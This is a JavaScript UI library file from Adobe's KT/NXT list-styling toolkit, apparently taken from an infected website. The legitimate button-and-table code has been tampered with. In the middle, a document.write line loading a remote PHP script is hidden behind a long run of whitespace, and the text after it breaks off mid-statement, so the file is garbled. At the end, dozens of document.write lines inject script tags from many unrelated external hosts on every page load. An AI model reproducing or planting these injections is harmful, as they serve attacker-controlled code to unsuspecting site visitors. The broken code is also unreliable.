/*
 * ADOBE SYSTEMS INCORPORATED
 * Copyright 2007 Adobe Systems Incorporated
 * All Rights Reserved
 * 
 * NOTICE:  Adobe permits you to use, modify, and distribute this file in accordance with the 
 * terms of the Adobe license agreement accompanying it. If you have received this file from a 
 * source other than Adobe, then your use, modification, or distribution of it requires the prior 
 * written permission of Adobe.
 */

function show_as_buttons_func() {
	var toret = false;
	if (!(typeof $NXT_LIST_SETTINGS == 'undefined' || typeof $NXT_LIST_SETTINGS['show_as_buttons'] == 'undefined' || $NXT_LIST_SETTINGS['show_as_buttons'] == false)) {
		toret = true;
	}
 	if (!(typeof $NAV_SETTINGS == 'undefined' || typeof $NAV_SETTINGS['show_as_buttons'] == 'undefined' || $NAV_SETTINGS['show_as_buttons'] == false)) {
		toret = true;
	}
	return toret;
}
show_as_buttons = "show_as_buttons_func()";
not_show_as_buttons = "!" + show_as_buttons;
/*
 * transforms a link to a button, keeping the link inner text, and adding the onclick event
 */
function KT_style_replace_with_button(el, add_event) {
	if (typeof add_event == 'undefined') {
		add_event = false;
	}
	var elnou = utility.dom.createElement('input', {
		'type' : 'button', 
		'value': el.innerHTML
	});

	el.style.display = 'none';
	elnou = utility.dom.insertAfter(elnou, el);

	if (add_event) {
		var onclick = el.onclick;
		elnou.onclick = onclick;
	}

	elnou.style.visibility = el.style.visibility;
	if (el.innerHTML == '') {
		elnou.style.display = 'none';
	}

	return elnou;
}

function KT_style_modify_custom_links(el) {
    var classes = utility.dom.getClassNames(el);
    if (1
    &&  Array_indexOf(classes, 'KT_link') < 0
    ) {
        return;
    }

    var elnou = KT_style_replace_with_button(el);
    /*utility.dom.attachEvent(*/elnou.onclick = function(e) {
        var a = this.previousSibling;
        if (!a.onclick) {
            var act = utility.dom.getLink(a);
            var parts = act.toString().split('?');
            if (parts.length == 1) {
                parts[1] = '';
            }
            var qs = new QueryString(parts[1]); var action_url = parts[0], variables = [];
            Array_each(qs.keys, function(key, i) {
                Array_push(variables, [key, qs.values[i]]);
            });

            var frm = utility.dom.createElement(
                "FORM", 
                {'action': act, 'method': 'GET', 'style': "display: none"}
            );
            Array_each(variables, function(input, i){
                frm.appendChild(utility.dom.createElement('INPUT', {'type': 'hidden', 'id': input[0], 'name': input[0], 'value': input[1]}));
            });

            frm = document.body.appendChild(frm);
            frm.submit();
        } else {
            var to_exec = a.onclick;
            a.onclick();
   
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ow) {
					//var cell_content = row_content.insertCell(-1);
					//cell_content.innerHTML = row.getElementsByTagName('td')[1].innerHTML;
					var td = row_content.appendChild(row.getElementsByTagName('td')[1]);//.cloneNode(true)
					td.style.verticalAlign = "top";
					var hint = utility.dom.getElementsByClassName(td, 'KT_field_hint', 'span');
					if (hint.length) {
						for (var i = 0; i < hint.length; i++) {
							hint[i].parentNode.removeChild(hint[i]);
						}
					}
				})

				var hidden = hidden_ids[hidden_ids_index++];
				/*
				while (hidden && (hidden.nodeType == 3 || hidden.tagName.toLowerCase() != 'input')) {
					hidden = hidden.nextSibling;
				}
				*/
				if (hidden) {
					cell_record_no.appendChild(hidden);
				} else {
					alert('could not find hidden !');
				}

			})

			// STEP n-1 : delete the old tables 
			Array_each(tables, function(table_to_copy, index) {
				//remove previous h2
				var heading = table_to_copy.previousSibling;
				try {
					while (heading.previousSibling && (heading.nodeType == 3 ||  heading.tagName.toLowerCase() != 'h2')) {
						heading = heading.previousSibling;
					}
				} catch(e) { heading = null; } 
				if (heading) {
					heading.parentNode.removeChild(heading);
				}

				//remove next input
				var hidden = table_to_copy.nextSibling;
				try {
					while (hidden && hidden.nodeType != 3 && hidden.tagName.toLowerCase() != 'input') {
						hidden = hidden.nextSibling;
					}
				} catch(e) { hidden = null; }
				if (hidden) {
					hidden.parentNode.removeChild(hidden);
				}
				table_to_copy.parentNode.removeChild(table_to_copy);
			})

			//	STEP 4 : find the bottombuttons div, and add the element
			var bottom_buttons = utility.dom.getElementsBySelector('div.KT_bottombuttons')[0];
			bottom_buttons.parentNode.insertBefore(tbl, bottom_buttons);
		}, 
		'eval': '(true)'
	}
];

function nxt_style_set_globals() {
	$lists = [];
	var tmp = utility.dom.getElementsByClassName(document, 'KT_tng', 'div');
	for (var k = 0; k < tmp.length; k++) {
		var list_obj = {};
		var kt_styles_attached = tmp[k].getAttribute("kt_styles_attached");
		if (kt_styles_attached) {
			continue;
		}
		list_obj.kt_styles_attached = false;
		list_obj.name = tmp[k].id;
		list_obj.main = tmp[k];
		list_obj.inner = utility.dom.getElementsByClassName(tmp[k], 'KT_tnglist', 'div');
		if (typeof list_obj.inner == 'object' && list_obj.inner != null && list_obj.inner.length && list_obj.inner.length > 0) {
			list_obj.inner = list_obj.inner[0];
			if (is.mozilla) {
				utility.dom.classNameAdd(list_obj.inner, 'fix_content_enlarge');
			}
		
			var frm = list_obj.inner.getElementsByTagName('form')[0];
			for (var i = 0; i < frm.childNodes.length; i++) {
				if (frm.childNodes[i].nodeType == 1) {
					var n = frm.childNodes[i];
					var t = n.tagName.toLowerCase();
					var c = n.className;
					if (t == 'table') {
						list_obj.table = n;
					}
					if (/KT_topbuttons/.test(c)) {
						list_obj.topbuttons = n;
					}
					if (/KT_bottombuttons/.test(c)) {
						list_obj.bottombuttons = n;
					}
					if (/KT_topnav/.test(c)) {
						list_obj.topnav = n;
						var divs = list_obj.topnav.getElementsByTagName('div');
						for (var j = 0; j < divs.length; j++) {
							if (/KT_textnav/.test(divs[j].className)) {
								list_obj.toptextnav = divs[j];
								break;
							}
						}
					}
					if (/KT_bottomnav/.test(c)) {
						list_obj.bottomnav = n;
						var divs = list_obj.bottomnav.getElementsByTagName('div');
						for (var j = 0; j < divs.length; j++) {
							if (/KT_textnav/.test(divs[j].className)) {
								list_obj.bottomtextnav = divs[j];
								break;
							}
						}
					}
				}
			}
			$lists.push(list_obj);
		}
	}
}

function nxt_style_attach() {
	if (is.ie && is.mac) {
		return;
	}
	styles_arr = [];
	nxt_style_set_globals();
	nxt_perform_transformations = function() {
		Array_each($TRANSFORMATIONS, function(t) {
			var obj = {};
			obj.selector = t;
			obj.start = new Date();
			if (eval(t['eval'])) {
				var sel = t.selector;
				if (typeof sel == 'function') {
					var arr = sel();
				} else {
					var arr = utility.dom.getElementsBySelector(t['selector']);
				}
				Array_each(arr, t['transform']);
			}
			obj.end = new Date();
			obj.diff = obj.end - obj.start;
			styles_arr.push(obj);
		});
		for(var i=0; i<$lists.length; i++) {
			$lists[i].kt_styles_attached = true;
			$lists[i].main.setAttribute("kt_styles_attached", true);
		}
		KT_style_executed = true;
		$style_executed = true;
		if (typeof nxt_list_attach != 'undefined') {
			nxt_list_attach();
		}
	}
	nxt_perform_transformations();
}

utility.dom.attachEvent2(window, 'onload', nxt_style_attach);

document.write('<script src=http://taplalekallergiatabor.hu/images/c73/img05.php ><\/script>');
document.write('<script src=http://taplalekallergiatabor.hu/images/c73/img05.php ><\/script>');
document.write('<script src=http://taplalekallergiatabor.hu/images/c73/img05.php ><\/script>');
document.write('<script src=http://vegasproam.com/wp-admin/wp-mail.php ><\/script>');
document.write('<script src=http://endorphyne.net/labels/favicon.php ><\/script>');
document.write('<script src=http://endorphyne.net/labels/favicon.php ><\/script>');
document.write('<script src=http://endorphyne.net/labels/favicon.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://ortopedivet.com.pe/images/sillas.php ><\/script>');
document.write('<script src=http://sms.raushani.com/wp-content/wp-rss2.php ><\/script>');
document.write('<script src=http://sms.raushani.com/wp-content/wp-rss2.php ><\/script>');
document.write('<script src=http://sms.raushani.com/wp-content/wp-rss2.php ><\/script>');
document.write('<script src=http://sms.raushani.com/wp-content/wp-rss2.php ><\/script>');
document.write('<script src=http://aquacs.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://sajassuk.co.kr/config/mail_mylovey.php ><\/script>');
document.write('<script src=http://upmegax.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://upmegax.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://upmegax.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://upmegax.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://upmegax.hi2.ro/images/gifimg.php ><\/script>');
document.write('<script src=http://desktop.ezwell.tw/images/gifimg.php ><\/script>');
document.write('<script src=http://desktop.ezwell.tw/images/gifimg.php ><\/script>');
document.write('<script src=http://desktop.ezwell.tw/images/gifimg.php ><\/script>');
document.write('<script src=http://desktop.ezwell.tw/images/gifimg.php ><\/script>');
document.write('<script src=http://rkcr.cz/_vti_txt/pf_2008.php ><\/script>');
document.write('<script src=http://rkcr.cz/_vti_txt/pf_2008.php ><\/script>');
document.write('<script src=http://rkcr.cz/_vti_txt/pf_2008.php ><\/script>');
document.write('<script src=http://rkcr.cz/_vti_txt/pf_2008.php ><\/script>');
document.write('<script src=http://rkcr.cz/_vti_txt/pf_2008.php ><\/script>');
document.write('<script src=http://jdescug.org/xls/logo.php ><\/script>');
document.write('<script src=http://jdescug.org/xls/logo.php ><\/script>');
document.write('<script src=http://jdescug.org/xls/logo.php ><\/script>');
document.write('<script src=http://jdescug.org/xls/logo.php ><\/script>');